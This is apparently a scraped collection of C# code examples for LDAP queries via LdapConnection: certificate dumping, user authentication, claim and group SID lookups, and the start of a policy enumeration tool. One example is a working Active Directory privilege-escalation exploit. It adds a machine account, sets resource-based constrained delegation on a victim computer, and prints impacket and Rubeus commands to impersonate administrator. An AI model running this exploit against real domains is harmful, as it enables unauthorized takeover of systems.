         foreach (SearchResultEntry entry in response.Entries)
         {
             SetCerts(entry, retVal);
         }
     }
 }
        private bool IsConcurrentBindSupported(LdapConnection ldapConnection)
        {
            bool result = false;

            Debug.Assert(ldapConnection != null);

            //
            // supportedExtension is a constructed attribute so we need to search and load that attribute explicitly
            //
            SearchRequest request = new SearchRequest();
            request.Scope = System.DirectoryServices.Protocols.SearchScope.Base;
            request.Attributes.Add("supportedExtension");

            if (ServerSearchTimeout != -1)
                request.TimeLimit = new TimeSpan(0, ServerSearchTimeout, 0);

            SearchResponse response = (SearchResponse) ldapConnection.SendRequest(request);
            if (response.ResultCode != ResultCode.Success)
                throw new ProviderException(response.ErrorMessage);

            foreach (string supportedExtension in response.Entries[0].Attributes["supportedExtension"].GetValues(typeof(string)))
            {
                if (StringUtil.EqualsIgnoreCase(supportedExtension, LDAP_SERVER_FAST_BIND_OID))
                {
                    result = true;
                    break;
                }
            }

            return result;
        }
示例#19
0
        static void Main(string[] args)
        {
            Console.Error.WriteLine("ShowAdCerts v1.0, (c) 2012 Zetetic LLC");

            if (args.Length == 1 && args[0].EndsWith("?"))
            {
                Console.Error.WriteLine(@"Switches (all are optional):

            -h  host or domain name (default = default logon server)
            -f  ldap filter         (default = userCertificate=*   )
            -b  search base         (default = domain root NC      )
            -v  (turn on cert validation of non-expired certs      )
            -r  (dump raw cert data                                )
            ");

                System.Environment.ExitCode = 1;
                return;
            }

            string searchbase = null, filter = "(&(userCertificate=*))", host = "";
            bool validate = false, raw = false;

            try
            {
                for (int i = 0; i < args.Length; i++)
                {
                    switch (args[i])
                    {
                        case "-h":
                            host = args[++i];
                            break;

                        case "-r":
                            raw = true;
                            break;

                        case "-f":
                            filter = args[++i];
                            switch (filter.ToLowerInvariant())
                            {
                                case "computer":
                                    filter = "(&(userCertificate=*)(objectCategory=computer))";
                                    break;

                                case "user":
                                case "person":
                                    filter = "(&(userCertificate=*)(objectCategory=person))";
                                    break;
                            }
                            break;

                        case "-b":
                            searchbase = args[++i];
                            break;

                        case "-v":
                            validate = true;
                            break;

                        default:
                            Console.Error.WriteLine("Unknown argument {0}", args[i]);
                            break;
                    }
                }

                using (var conn = new LdapConnection(host))
                {
                    conn.SessionOptions.ProtocolVersion = 3;

                    if (string.IsNullOrEmpty(searchbase))
                    {
                        var e = ((SearchResponse)conn.SendRequest(new SearchRequest(
                            "",
                            "(&(objectClass=*))",
                            SearchScope.Base,
                            "defaultNamingContext"))).Entries[0];

                        searchbase = e.Attributes["defaultNamingContext"][0].ToString();
                    }

                    var srch = new SearchRequest(searchbase, filter, SearchScope.Subtree, "userCertificate");
                    var pager = new PageResultRequestControl();
                    srch.Controls.Add(pager);

                    int count = 0;

                    while (true)
                    {
                        var resp = (SearchResponse)conn.SendRequest(srch);

                        foreach (SearchResultEntry se in resp.Entries)
                        {
                            if (!se.Attributes.Contains("userCertificate"))
                            {
                                continue;
                            }

                            Console.WriteLine("# {0}", ++count);
                            Console.WriteLine("dn: {0}", se.DistinguishedName);

                            foreach (var o in se.Attributes["userCertificate"].GetValues(typeof(byte[])))
                            {
                                byte[] bytes = (byte[])o;

                                try
                                {
                                    X509Certificate2 cert = new X509Certificate2(bytes);

                                    Console.WriteLine("subject: {0}", string.IsNullOrEmpty(cert.Subject) ? cert.SubjectName.Name : cert.Subject);
                                    Console.WriteLine("issuer: {0}", cert.Issuer);
                                    Console.WriteLine("thumbprint: {0}", cert.Thumbprint);
                                    Console.WriteLine("serial: {0}", cert.SerialNumber);

                                    var estr = cert.GetExpirationDateString();
                                    var expired = false;

                                    if (!string.IsNullOrEmpty(estr))
                                    {
                                        Console.WriteLine("exp: {0}", estr);
                                        DateTime dt;

                                        if (DateTime.TryParse(estr, out dt) && dt < DateTime.Now)
                                        {
                                            Console.WriteLine("expired: TRUE");
                                            expired = true;
                                        }
                                    }

                                    if (validate && !expired)
                                    {
                                        Console.WriteLine("valid: {0}", cert.Verify().ToString().ToUpperInvariant());
                                    }
                                }
                                catch (Exception e)
                                {
                                    Console.WriteLine("exception: {0}, {1}", e.GetType(), e.Message);
                                }

                                if (raw)
                                {
                                    var s = Convert.ToBase64String(bytes);

                                    Console.WriteLine("-----BEGIN CERTIFICATE-----");

                                    for (int i = 0; i < s.Length; i += 78)
                                    {
                                        Console.WriteLine(s.Substring(i, Math.Min(78, s.Length - i)));
                                    }

                                    Console.WriteLine("-----END CERTIFICATE-----");
                                }

                                Console.WriteLine("-");
                            }
                            Console.WriteLine("");
                        }

                        var rc = resp.Controls.SingleOrDefault(t => t is PageResultResponseControl) as PageResultResponseControl;

                        if (rc == null || rc.Cookie == null || rc.Cookie.Length == 0)
                            break;

                        pager.Cookie = rc.Cookie;
                    }
                }
            }
            catch (Exception e)
            {
                Console.Error.WriteLine("Error type = {0}, message = {1}, stack = {2}", e.GetType(), e.Message, e.StackTrace);

                System.Environment.ExitCode = 2;
            }
        }
        private User queryLdap(string email)
        {
            string ldapFilter = "(objectClass=person)";
            string ldapTarget = DN.Replace("{0}", email);
            User user = new User();

            network = new NetworkCredential(ADMIN, ADMIN_PASS);
            ldapId = new LdapDirectoryIdentifier(HOST, PORT);

            using (LdapConnection connection = new LdapConnection(ldapId, network, AuthType.Basic))
            {
                try
                {
                    connection.SessionOptions.SecureSocketLayer = false;
                    connection.SessionOptions.ProtocolVersion = 3;
                    connection.Bind();

                    SearchRequest searchRequest = new SearchRequest(ldapTarget, ldapFilter, SearchScope.Subtree, "*");
                    SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
                    SearchResultEntry entry = searchResponse.Entries[0];

                    user.email = email;
                    user.userId = entry.Attributes["employeeNumber"][0].ToString();
                    user.userName = entry.Attributes["cn"][0].ToString();
                    user.lastName = entry.Attributes["sn"][0].ToString();
                    user.userGroup = entry.Attributes["departmentNumber"][0].ToString();

                    connection.Dispose();

                    return user;
                }
                catch (LdapException ex)
                {
                    throw new BusinessException(ex.Message);
                }
                catch (Exception e)
                {
                    throw new PlatformException(e.Message);
                }
            }
        }
示例#21
0
        /// <summary>
        /// read msDS-ClaimValueType of a claim from DC
        /// </summary>
        /// <param name="dn">Distinguished Name of claim</param>
        /// <param name="server">DC name or address</param>
        /// <returns>CLAIM_TYPE</returns>
        CLAIM_TYPE getClaimValueType(string dn, string server)
        {
            using (System.DirectoryServices.Protocols.LdapConnection con = new System.DirectoryServices.Protocols.LdapConnection(server))
            {
                System.DirectoryServices.Protocols.SearchRequest req = new System.DirectoryServices.Protocols.SearchRequest(
                    dn,
                    "(objectclass=*)",
                    System.DirectoryServices.Protocols.SearchScope.Base,
                    new string[] { ConstValue.msDSClaimValueType });

                System.DirectoryServices.Protocols.SearchResponse res = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(req);

                object o = res.Entries[0].Attributes[ConstValue.msDSClaimValueType][0];

                return((CLAIM_TYPE)Enum.Parse(typeof(CLAIM_TYPE), o.ToString()));
            }
        }
示例#22
0
        static void Main(string[] args)
        {
            if (args.Length < 2)
            {
                Usage();
                return;
            }
            var arguments = new Dictionary <string, string>();

            foreach (string argument in args)
            {
                int idx = argument.IndexOf('=');
                if (idx > 0)
                {
                    arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
                }
            }

            if (!arguments.ContainsKey("domain") || !arguments.ContainsKey("dc") || !arguments.ContainsKey("tm"))
            {
                Usage();
                return;
            }
            String DomainController            = arguments["dc"];
            String Domain                      = arguments["domain"];
            String new_MachineAccount          = "";
            String new_MachineAccount_password = "";

            //添加的机器账户
            if (arguments.ContainsKey("ma"))
            {
                new_MachineAccount = arguments["ma"];
            }
            else
            {
                new_MachineAccount = RandomString(8);
            }
            //机器账户密码
            if (arguments.ContainsKey("ma"))
            {
                new_MachineAccount_password = arguments["mp"];
            }
            else
            {
                new_MachineAccount_password = RandomString(10);
            }

            String victimcomputer    = arguments["tm"];; //需要进行提权的机器
            String machine_account   = new_MachineAccount;
            String sam_account       = "";
            String DistinguishedName = "";

            if (machine_account.EndsWith("$"))
            {
                sam_account     = machine_account;
                machine_account = machine_account.Substring(0, machine_account.Length - 1);
            }
            else
            {
                sam_account = machine_account + "$";
            }
            String distinguished_name        = DistinguishedName;
            String victim_distinguished_name = DistinguishedName;

            String[] DC_array = null;

            distinguished_name        = "CN=" + machine_account + ",CN=Computers";
            victim_distinguished_name = "CN=" + victimcomputer + ",CN=Computers";
            DC_array = Domain.Split('.');

            foreach (String DC in DC_array)
            {
                distinguished_name        += ",DC=" + DC;
                victim_distinguished_name += ",DC=" + DC;
            }
            Console.WriteLine(victim_distinguished_name);
            Console.WriteLine("[+] Elevate permissions on " + victimcomputer);
            Console.WriteLine("[+] Domain = " + Domain);
            Console.WriteLine("[+] Domain Controller = " + DomainController);
            //Console.WriteLine("[+] Distinguished Name = " + distinguished_name);
            try{
                //连接ldap
                System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
                //NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录
                System.DirectoryServices.Protocols.LdapConnection connection = null;
                //connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc);
                connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
                connection.SessionOptions.Sealing = true;
                connection.SessionOptions.Signing = true;
                connection.Bind();
                //通过ldap找计算机
                System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry(Domain);
                myldapConnection.Path = "LDAP://" + victim_distinguished_name;
                myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
                System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);
                search.Filter = "(CN=" + victimcomputer + ")";
                string[] requiredProperties = new string[] { "samaccountname" };
                foreach (String property in requiredProperties)
                {
                    search.PropertiesToLoad.Add(property);
                }
                System.DirectoryServices.SearchResult result = null;
                try
                {
                    result = search.FindOne();
                }
                catch (System.Exception ex)
                {
                    Console.WriteLine("[!] " + ex.Message + "\n[-] Exiting...");
                    return;
                }

                //添加机器并设置资源约束委派
                if (result != null)
                {
                    try
                    {
                        var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
                            new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account + "." + Domain),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/" + machine_account + "." + Domain, "RestrictedKrbHost/" + machine_account + "." + Domain, "HOST/" + machine_account, "RestrictedKrbHost/" + machine_account)
                        });
                        //添加机器账户
                        connection.SendRequest(request);
                        Console.WriteLine("[+] New SAMAccountName = " + sam_account);
                        Console.WriteLine("[+] Machine account: " + machine_account + " Password: "******" added");
                    }
                    catch (System.Exception ex)
                    {
                        Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)");
                        Console.WriteLine("[-] Exception: " + ex.Message);
                        return;
                    }
                    // 获取新计算机对象的SID
                    var new_request        = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
                    var new_response       = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);
                    SecurityIdentifier sid = null;
                    foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)
                    {
                        try
                        {
                            sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0);
                            Console.Out.WriteLine("[+] " + new_MachineAccount + " SID : " + sid.Value);
                        }
                        catch
                        {
                            Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting...");
                            return;
                        }
                    }
                    //设置资源约束委派
                    String sec_descriptor    = @"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")";
                    RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);
                    byte[] buffer            = new byte[sd.BinaryLength];
                    sd.GetBinaryForm(buffer, 0);
                    //测试sddl转换结果
                    //RawSecurityDescriptor test_back = new RawSecurityDescriptor (buffer, 0);
                    //Console.WriteLine(test_back.GetSddlForm(AccessControlSections.All));
                    // 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中
                    try
                    {
                        var change_request = new System.DirectoryServices.Protocols.ModifyRequest();
                        change_request.DistinguishedName = victim_distinguished_name;
                        DirectoryAttributeModification modifymsDS = new DirectoryAttributeModification();
                        modifymsDS.Operation = DirectoryAttributeOperation.Replace;
                        modifymsDS.Name      = "msDS-AllowedToActOnBehalfOfOtherIdentity";
                        modifymsDS.Add(buffer);
                        change_request.Modifications.Add(modifymsDS);
                        connection.SendRequest(change_request);
                        Console.WriteLine("[+] Exploit successfully!\n");
                        //打印利用方式
                        Console.WriteLine("[+] Use impacket to get priv!\n");
                        Console.WriteLine("\ngetST.py -dc-ip {0} {1}/{2}$:{3} -spn cifs/{4}.{5} -impersonate administrator", DomainController, Domain, machine_account, new_MachineAccount_password, victimcomputer, Domain);
                        Console.WriteLine("\nexport KRB5CCNAME=administrator.ccache");
                        Console.WriteLine("\npsexec.py {0}/administrator@{1}.{2} -k -no-pass", Domain, victimcomputer, Domain);
                        Console.WriteLine("\n\n[+] Use Rubeus.exe to get priv!\n");
                        Console.WriteLine("\nRubeus.exe hash /user:{0} /password:{1} /domain:{2}", machine_account, new_MachineAccount_password, Domain);
                        Console.WriteLine("\nRubeus.exe s4u /user:{0} /rc4:rc4_hmac /impersonateuser:administrator /msdsspn:cifs/{1}.{2} /ptt /dc:{3}", machine_account, victimcomputer, Domain, DomainController);
                        Console.WriteLine("\npsexec.exe \\\\{0}.{1} cmd ", victimcomputer, Domain);
                        Console.WriteLine("\n[+] Done..");
                    }
                    catch (System.Exception ex)
                    {
                        Console.WriteLine("[!] Error: " + ex.Message + " " + ex.InnerException);
                        Console.WriteLine("[!] Failed...");
                        return;
                    }
                }
            }
            catch (System.Exception ex) {
                Console.WriteLine("[!] " + ex.Message + "\n[-] Exiting...");
                return;
            }
        }
示例#23
0
        public TgLdapResponce ValidateLDAPUser(string username, string pwd)
        {
            TgLdapResponce tgLdapResponse = new TgLdapResponce();

            if (pwd.Length == 0)
            {
                tgLdapResponse.ExceptionMessage = "Please specify a password";
                tgLdapResponse.IsErrored = true;
                tgLdapResponse.IsLDAPAuthenticated = false;
                return tgLdapResponse;
            }

            using (LdapConnection con = new LdapConnection(new LdapDirectoryIdentifier(DParms.LDAPDomain, DParms.LDAPDomainPort)))
            {
                con.SessionOptions.SecureSocketLayer = DParms.LDAPUseSSL;
                if (DParms.LDAPUseSSLCert)
                {
                    con.SessionOptions.VerifyServerCertificate = new VerifyServerCertificateCallback(ServerCallback);
                }

                NetworkCredential theNetworkCredentials = new NetworkCredential();
                theNetworkCredentials.UserName = DParms.LDAPUseNetworkAccount ? DParms.LDAPNetworkCredentialsUsername : username;
                theNetworkCredentials.Password = DParms.LDAPUseNetworkAccount ? Standpoint.Core.Classes.Encryption.DecryptString(DParms.LDAPNetworkCredentialsPassword) : pwd;
                con.Credential = theNetworkCredentials;

                //authTypes = Anonymous, Basic, Negotiate, Ntlm, Digest, Sicily, Dpa, Msn, External, Kerberos
                con.AuthType = (AuthType)Enum.Parse(typeof(AuthType), DParms.LDAPAuthType);
                //protocolVersions = 2, 3
                con.SessionOptions.ProtocolVersion = DParms.LDAPProtocolVersion;
                //ReferralChasingTypes = None, Subordinate, External, All 
                con.SessionOptions.ReferralChasing = (ReferralChasingOptions)Enum.Parse(typeof(ReferralChasingOptions), DParms.LDAPReferralChasing);

                try
                {
                    con.Bind();
                }
                catch (LdapException ex)
                {
                    string errorMessage = "LDAP Exception: " + ex.Message;
                    ThinkgateEventSource.Log.ApplicationError(MethodBase.GetCurrentMethod().DeclaringType.ToString() + "->" + MethodBase.GetCurrentMethod().Name, errorMessage, ex.ToString());
                    tgLdapResponse.ExceptionMessage = errorMessage;
                    tgLdapResponse.IsErrored = true;
                    tgLdapResponse.IsLDAPAuthenticated = false;
                    return tgLdapResponse;
                }
                catch (DirectoryOperationException ex)
                {
                    string errorMessage = "Directory Operation Exception: " + ex.Message;
                    ThinkgateEventSource.Log.ApplicationError(MethodBase.GetCurrentMethod().DeclaringType.ToString() + "->" + MethodBase.GetCurrentMethod().Name, errorMessage, ex.ToString());
                    tgLdapResponse.ExceptionMessage = errorMessage;
                    tgLdapResponse.IsErrored = true;
                    tgLdapResponse.IsLDAPAuthenticated = false;
                    return tgLdapResponse;
                }

                try
                {
                    SearchRequest request = new SearchRequest(DParms.LDAPRootDN, String.Format(DParms.LDAPDirectoryFilter, username), SearchScope.Subtree);
                    SearchResponse response = (SearchResponse)con.SendRequest(request);

                    if (response.Entries.Count == 0)
                    {
                        string errorMessage = "No such username.";
                        ThinkgateEventSource.Log.ApplicationWarning(MethodBase.GetCurrentMethod().DeclaringType.ToString() + "->" + MethodBase.GetCurrentMethod().Name, errorMessage);
                        tgLdapResponse.ExceptionMessage = errorMessage;
                        tgLdapResponse.IsErrored = true;
                        tgLdapResponse.IsLDAPAuthenticated = false;
                        return tgLdapResponse;
                    }
                    else
                    {
                        SearchResultEntry entry = response.Entries[0];
                        con.Credential = new NetworkCredential(con.AuthType == AuthType.Basic ? entry.DistinguishedName : username, pwd);
                        con.Bind();

                        // If we get this far without an exception, the username and
                        // password are valid. We can now use a SearchRequest to search
                        // for group membership etc, but that's out of scope for this
                        // example.
                    }
                }
                catch (DirectoryOperationException ex)
                {
                    string errorMessage = "Invalid root DN / search filter<br/>" + ex.Response + "<br/>" + ex.ToString();
                    ThinkgateEventSource.Log.ApplicationError(MethodBase.GetCurrentMethod().DeclaringType.ToString() + "->" + MethodBase.GetCurrentMethod().Name, errorMessage, ex.ToString());
                    tgLdapResponse.ExceptionMessage = "Directory Operation Exception: " + ex.Message;
                    tgLdapResponse.IsErrored = true;
                    tgLdapResponse.IsLDAPAuthenticated = false;
                    return tgLdapResponse;
                }
                catch (LdapException ex)
                {
                    ThinkgateEventSource.Log.ApplicationError(MethodBase.GetCurrentMethod().DeclaringType.ToString() + "->" + MethodBase.GetCurrentMethod().Name, "Invalid password", ex.ToString());
                    tgLdapResponse.ExceptionMessage = ex.Message;
                    tgLdapResponse.IsErrored = true;
                    tgLdapResponse.IsLDAPAuthenticated = false;
                    return tgLdapResponse;
                }
                catch (Exception ex)
                {
                    ThinkgateEventSource.Log.ApplicationError(MethodBase.GetCurrentMethod().DeclaringType.ToString() + "->" + MethodBase.GetCurrentMethod().Name, ex.Message, ex.ToString());
                    tgLdapResponse.ExceptionMessage = ex.Message;
                    tgLdapResponse.IsErrored = true;
                    tgLdapResponse.IsLDAPAuthenticated = false;
                    return tgLdapResponse;
                }
            }

            tgLdapResponse.ExceptionMessage = null;
            tgLdapResponse.IsErrored = false;
            tgLdapResponse.IsLDAPAuthenticated = true;
            return tgLdapResponse;
        }
示例#24
0
        // ----- CONSTRUCTORS -----
        /// <summary>
        /// Establishes a connection with an LDAP server that can be used to query or modify its contents.
        /// <param name="servers">A list of servers by fully qualified domain name, host name, ip address, or null.</param>
        /// <param name="portNumber">The port number on the LDAP server that is listening for requests.</param>
        /// <param name="authType">(Optional) The type of authentication to use when connecting with the server. By default this is set to Anonymous (i.e. no credentials required).</param>
        /// <param name="userName">(Optional) The user name to use when connecting to the LDAP server.</param>
        /// <param name="password">(Optional) The password to use with the user name provided to connect to the LDAP server.</param>
        /// <param name="domainName">(Optional) The domain or computer name associated with the user credentials provided.</param>
        /// </summary>
        public LDAP(List<string> servers, int portNumber, AuthType authType = AuthType.Anonymous, string userName = null, SecureString password = null, string domainName = null)
        {
            if (servers != null && servers.Count > 0 && portNumber > 0 && !string.IsNullOrWhiteSpace(userName) && password != null)
            {
                try
                {
                    // Setup the server information for the connection.
                    LdapDirectoryIdentifier directoryIdentifier = new LdapDirectoryIdentifier(servers.ToArray(), portNumber, false, false);

                    // Setup the credential to use when accessing the server. (Or null for Anonymous.)
                    NetworkCredential credential = null;
                    if (authType != AuthType.Anonymous)
                    {
                        credential = new NetworkCredential(userName, password);
                        if (!string.IsNullOrWhiteSpace(domainName))
                        {
                            // A domain was provided. Use it when creating the credential.
                            credential.Domain = domainName;
                        }
                    }

                    // Create the connection to the server(s).
                    try
                    {
                        connection = new LdapConnection(directoryIdentifier, credential, authType);

                        // Gather information about the LDAP server(s) from the RootDSE entry.
                        SearchResponse rootDSESearchResponse = (SearchResponse)connection.SendRequest(new SearchRequest(null, "(objectClass=*)", SearchScope.Base));
                        if (rootDSESearchResponse != null && rootDSESearchResponse.ResultCode == ResultCode.Success)
                        {
                            // Save the rootDSE for access by API clients.
                            rootDSE = rootDSESearchResponse.Entries[0];
                            SearchResultAttributeCollection attributes = rootDSE.Attributes;

                            // Check that LDAP V3 is supported.
                            if (attributes["supportedLDAPVersion"].GetValues(typeof(string)).Contains("3"))
                            {
                                // Get all of the naming contexts this server(s) supports.
                                namingContexts = (string[])attributes["namingContexts"].GetValues(typeof(string));

                                // Set the base DN for searching to the first naming context in the list.
                                searchBaseDN = namingContexts[0];

                                // Get any alternate servers can complete our requests should this one stop responding.
                                // If there are not other servers to contact this attribute is not available.
                                if (attributes.Contains("altServer"))
                                {
                                    alternateServers = (string[])attributes["altServer"].GetValues(typeof(string));
                                }
                            }
                            else
                            {
                                throw new NotSupportedException("The directory server does not support LDAP v3.");
                            }
                        }

                        // Bind to the ldap server with the connection credentials if supplied.
                        if (connection.AuthType != AuthType.Anonymous)
                        {
                            connection.Bind();
                        }
                    }
                    catch (System.ComponentModel.InvalidEnumArgumentException)
                    {
                        // Thrown when authType is out of range.
                        throw new ArgumentOutOfRangeException("authType");
                    }
                }
                catch (ArgumentException)
                {
                    throw new ArgumentException("Entries in the servers parameter can not have spaces.");
                }
            }
            else
            {
                if (servers == null || servers.Count == 0)
                {
                    throw new ArgumentNullException("servers", "The list of servers can not be null or empty.");
                }
                if (portNumber <= 0)
                {
                    throw new ArgumentOutOfRangeException("portNumber", "A port number must be positive.");
                }
            }
        }
        /**
         * Handles actually making an LDAP search on SDS.
         */
        private List<Dictionary<string, List<string>>> doSearch(LdapConnection l, SearchRequest sr)
        {
            SearchResponse dr = null;
            try
            {
                dr = (SearchResponse)l.SendRequest(sr);
            }
            catch (Exception e)
            {
                EventLog logger = new EventLog("Application");
                logger.Source = LOGSOURCE;
                StringBuilder er = new StringBuilder("Query request failed: ");
                er.Append(sr.Filter);
                er.Append(" : ");
                er.Append(e.ToString());
                try
                {
                    logger.WriteEntry(er.ToString(), EventLogEntryType.Error);
                }
                catch (Exception ew)
                {
                    Console.Write(er.ToString());
                }
                return null;
            }
            if (dr.ResultCode != ResultCode.Success)
            {
                EventLog logger = new EventLog("Application");
                logger.Source = LOGSOURCE;
                StringBuilder er = new StringBuilder("Query failed: ");
                er.Append(sr.Filter);
                er.Append(" Result code: ");
                er.Append(dr.ResultCode);
                logger.WriteEntry(er.ToString(), EventLogEntryType.Error);
                return null;
            }
            if (dr.Entries.Count == 0)
            {
                EventLog logger = new EventLog("Application");
                logger.Source = LOGSOURCE;
                StringBuilder er = new StringBuilder("Query returned no data: ");
                er.Append(sr.Filter);
                logger.WriteEntry(er.ToString(), EventLogEntryType.Warning);
                return null;
            }

            // Each "Entry" contains an object with a set of attributes. Add a "dictionary" to the list for
            // each entry. Add a string+list to the dictionary for each attribute, with each value of that
            // attribute going into the list.
            //
            List<Dictionary<string, List<string>>> results = new List<Dictionary<string, List<string>>>();

            for (int i = 0; i < dr.Entries.Count; i++)
            {
                SearchResultEntry sre = dr.Entries[i];
                Dictionary<string,List<string>> entry = new Dictionary<string,List<string>>();
                results.Add(entry);
                SearchResultAttributeCollection srac = sre.Attributes;
                foreach (DictionaryEntry da in srac)
                {
                    List<string> attrVals = new List<string>();
                    DirectoryAttribute attr = (DirectoryAttribute)da.Value;
                    for (int j = 0; j < attr.Count; j++)
                    {
                        attrVals.Add((string)attr[j]);
                    }
                    entry.Add(attr.Name.ToLower(), attrVals);
                }
            }
            return results;
        }
        public static uint[] GetResourceGroupIds(string domainName, NetworkCredential cred, uint resourceGroupCount, Group[] resourceGroups)
        {
            LdapConnection connection = new LdapConnection(domainName);
            connection.Credential = cred;
            uint[] rid = new uint[resourceGroupCount];

            for (int i = 0; i < resourceGroupCount; i++)
            {
                string dn = GetDomainDnFromDomainName(domainName);
                string targetOu = dn;
                string filter = "cn=" + resourceGroups[i].GroupName;
                SearchRequest searchRequest = new SearchRequest(targetOu, filter, SearchScope.Subtree, "objectSid");
                SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
                if (searchResponse.Entries.Count > 1)
                {
                    throw new Exception("There are more than one entries with the same resourceGroupName.");
                }
                SearchResultAttributeCollection groupAttributes = searchResponse.Entries[0].Attributes;
                string[] tmp = GetobjectSid(groupAttributes).Split('-');
                rid[i] = Convert.ToUInt32(tmp[tmp.Length - 1]);
            }

            return rid;
        }
        public static KERB_SID_AND_ATTRIBUTES[] GetResourceGroupExtraSids(string domainName, NetworkCredential cred, uint resourceGroupCount, Group[] resourceGroups)
        {
            LdapConnection connection = new LdapConnection(domainName);
            connection.Credential = cred;
            KERB_SID_AND_ATTRIBUTES[] resourceGroupExtraSids = new KERB_SID_AND_ATTRIBUTES[resourceGroupCount];

            for (int i = 0; i < resourceGroupCount; i++)
            {
                string dn = GetDomainDnFromDomainName(domainName);
                string targetOu = dn;
                string filter = "cn=" + resourceGroups[i].GroupName;
                SearchRequest searchRequest = new SearchRequest(targetOu, filter, SearchScope.Subtree, "objectSid");
                SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
                if (searchResponse.Entries.Count > 1)
                {
                    throw new Exception("There are more than one entries with the same resourceGroupName.");
                }
                SearchResultAttributeCollection groupAttributes = searchResponse.Entries[0].Attributes;
                string[] tmp = GetobjectSid(groupAttributes).Split('-');

                _RPC_SID resourceGroupSid = new _RPC_SID();
                resourceGroupSid.Revision = 0x01;
                resourceGroupSid.IdentifierAuthority = new _RPC_SID_IDENTIFIER_AUTHORITY();
                resourceGroupSid.IdentifierAuthority.Value = new byte[] { 0, 0, 0, 0, 0, 5 };
                resourceGroupSid.SubAuthorityCount = Convert.ToByte(tmp.Length - 3);
                resourceGroupSid.SubAuthority = new uint[tmp.Length - 3];
                for (int j = 3; j < tmp.Length; j++)
                {
                    resourceGroupSid.SubAuthority[j - 3] = Convert.ToUInt32(tmp[j]);
                }

                resourceGroupExtraSids[i] = new KERB_SID_AND_ATTRIBUTES();
                resourceGroupExtraSids[i].Attributes = Attributes_Values.Mandatory | Attributes_Values.EnabledByDefault | Attributes_Values.Enabled | Attributes_Values.Resource;
                resourceGroupExtraSids[i].SID = new _RPC_SID[1];
                resourceGroupExtraSids[i].SID[0] = resourceGroupSid;
            }
            return resourceGroupExtraSids;
        }
        static void Main(string[] args)
        {
            string domain           = "";
            string domainController = "";
            string searchScope      = "";
            string searchBase       = "";
            bool   verbose          = false;

            var Options = new Options();

            if (CommandLineParser.Default.ParseArguments(args, Options))
            {
                if (Options.help == true)
                {
                    PrintHelp();
                    return;
                }
                if (!string.IsNullOrEmpty(Options.domain))
                {
                    domain = Options.domain;
                }
                if (string.IsNullOrEmpty(Options.searchScope))
                {
                    searchScope = "SubTree";
                }
                else
                {
                    searchScope = Options.searchScope;
                }
                if (!string.IsNullOrEmpty(Options.domainController))
                {
                    domainController = Options.domainController;
                }
                if (Options.verbose)
                {
                    verbose = true;
                }
                if (!string.IsNullOrEmpty(Options.searchBase))
                {
                    searchBase = Options.searchBase;
                }
            }

            var listEnableLUA = new List <string>();
            var listFilterAdministratorToken          = new List <string>();
            var listLocalAccountTokenFilterPolicy     = new List <string>();
            var listSeDenyNetworkLogonRight           = new List <string>();
            var listSeDenyRemoteInteractiveLogonRight = new List <string>();
            var computerPolicyEnableLUA = new List <string>();
            var computerPolicyFilterAdministratorToken          = new List <string>();
            var computerPolicyLocalAccountTokenFilterPolicy     = new List <string>();
            var computerPolicySeDenyNetworkLogonRight           = new List <string>();
            var computerPolicySeDenyRemoteInteractiveLogonRight = new List <string>();

            //discover current domain
            System.DirectoryServices.ActiveDirectory.Domain current_domain = null;

            if (string.IsNullOrEmpty(domain))
            {
                try
                {
                    current_domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain();
                    domain         = current_domain.Name;
                }
                catch
                {
                    Console.WriteLine("[!] Cannot enumerate domain.\n");
                    return;
                }
            }
            else
            {
                DirectoryContext domainContext = new DirectoryContext(DirectoryContextType.Domain, domain);
                try
                {
                    current_domain = System.DirectoryServices.ActiveDirectory.Domain.GetDomain(domainContext);
                }
                catch
                {
                    Console.WriteLine("\n[!] The specified domain does not exist or cannot be contacted. Exiting...\n");
                    return;
                }
            }

            if (string.IsNullOrEmpty(Options.domainController))
            {
                domainController = current_domain.FindDomainController().Name;
            }
            else
            {
                var ldapId = new LdapDirectoryIdentifier(Options.domainController);
                using (var testConnection = new LdapConnection(ldapId))
                {
                    try
                    {
                        testConnection.Bind();
                    }
                    catch
                    {
                        Console.WriteLine("\n[!] The specified domain controller cannot be contacted. Exiting...\n");
                        return;
                    }
                }
            }

            domain = domain.ToLower();

            String[] DC_array           = null;
            String   distinguished_name = null;

            distinguished_name = "CN=Policies,CN=System";
